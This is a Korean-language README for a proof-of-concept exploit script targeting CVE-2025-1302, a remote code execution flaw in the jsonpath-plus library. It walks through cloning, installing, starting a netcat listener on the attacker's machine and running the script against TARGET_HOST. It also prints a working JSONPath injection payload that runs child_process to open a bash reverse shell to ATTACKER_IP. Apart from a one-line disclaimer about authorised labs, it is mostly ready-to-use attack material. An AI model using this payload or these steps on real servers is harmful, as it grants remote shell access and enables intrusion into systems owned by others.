
jsonpath-plus의 CVE-2025-1302에 대한 PoC 익스플로잇 및 취약 서버 데모
PoC 스크립트 이름: poc.py
CVE-2025-1302에 대한 개념 증명(PoC) 익스플로잇 스크립트로, jsonpath-plus 라이브러리의 RCE 취약점을 대상으로 합니다. 취약한 서비스 엔드포인트에 대해 실행하면 JSONPath 페이로드를 통해 원격 코드 실행을 트리거하고 공격자에게 역방향 셸(reverse shell)을 연결하려고 시도합니다.
--method 또는 --no-fallback 플래그를 통해 POST, GET, AUTO(GET 대체가 있는 POST)를 지원합니다.{ip} 및 {port} 템플릿을 지원합니다.tqdm 진행 막대로 지연 및 페이로드 루프를 표시합니다.--output을 사용하여 모든 결과를 JSON 파일로 저장합니다.이 저장소를 클론합니다:
git clone https://github.com/yourorg/jsonpath-rce-poc.git
cd jsonpath-rce-poc
의존성을 설치합니다 (Python 3.6 이상 필요):
pip install -r requirements.txt
공격자 머신에서 리스너를 시작합니다 (필요에 따라 포트 변경):
nc -lvnp 9999
PoC를 실행합니다:
python3 poc.py \
--url http://TARGET_HOST:PORT/query \
--ip ATTACKER_IP --port 9999 \
[--payload-file payloads.txt] \
[--delay 5] \
[--method AUTO|POST|GET] \
[--no-fallback] \
[--output results.json]
--payload-file: 줄마다 JSONPath 페이로드 하나가 포함된 파일. {ip} 및 {port} 자리 표시자를 사용합니다.--delay: 페이로드 전송 전 대기 시간(초). 카운트다운을 표시합니다.--method: POST, GET, AUTO(기본값) 중 하나를 강제로 지정합니다.--no-fallback: GET 재시도를 건너뛰는 약식 옵션 (--method POST와 동일).--output: 시도 결과 JSON 로그를 저장할 경로.$[?(@.constructor.constructor("require(\"child_process\").execSync(\"bash -i >& /dev/tcp/{ip}/{port} 0>&1\")")())]
이 스크립트는 오직 통제된 실습 환경에서, 소유하거나 테스트할 명시적 권한이 있는 시스템에 대해서만 사용하십시오. 악용은 불법적이고 비윤리적일 수 있습니다.